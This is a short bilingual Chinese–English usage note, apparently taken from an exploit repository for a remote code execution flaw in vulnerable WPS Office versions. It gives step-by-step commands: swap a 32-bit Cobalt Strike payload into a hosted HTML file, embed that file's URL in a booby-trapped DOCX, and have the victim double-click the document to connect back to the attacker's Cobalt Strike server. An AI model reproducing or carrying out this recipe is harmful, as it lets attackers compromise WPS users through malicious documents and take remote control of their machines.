#看看这位师傅的,他写的好 ba0gu0/wps-rce
WPS Office 2023个人版<11.1.0.15120; WPS Office 2019企业版<11.8.2.12085
python replace_shellcode.py shellcode_32_raw.bin
我这里使用的是CS中32位的payload, 使用
replace_shellcode.py
, 将1.html
中的shellcode进行替换, 然后将1.html
上传到你的托管地址, 例如: http://127.0.0.1/1.htmlpython exp.py poc.docx http://127.0.0.1/1.html
替换
poc.docx
中的URL, 也就是你的托管地址- 双击文档即可上线CS
WPS Office 2023 Personal Edition <11.1.0.15120; WPS Office 2019 Enterprise Edition <11.8.2.12085
python replace_shellcode.py shellcode_32_raw.bin
Here, I am using a 32-bit payload from CS. Use
replace_shellcode.py
to replace the shellcode in1.html
, then upload1.html
to your hosting address, for example: http://127.0.0.1/1.htmlpython exp.py poc.docx http://127.0.0.1/1.html
Replace the URL in
poc.docx
, which is your hosting address- Double-click the document to connect to CS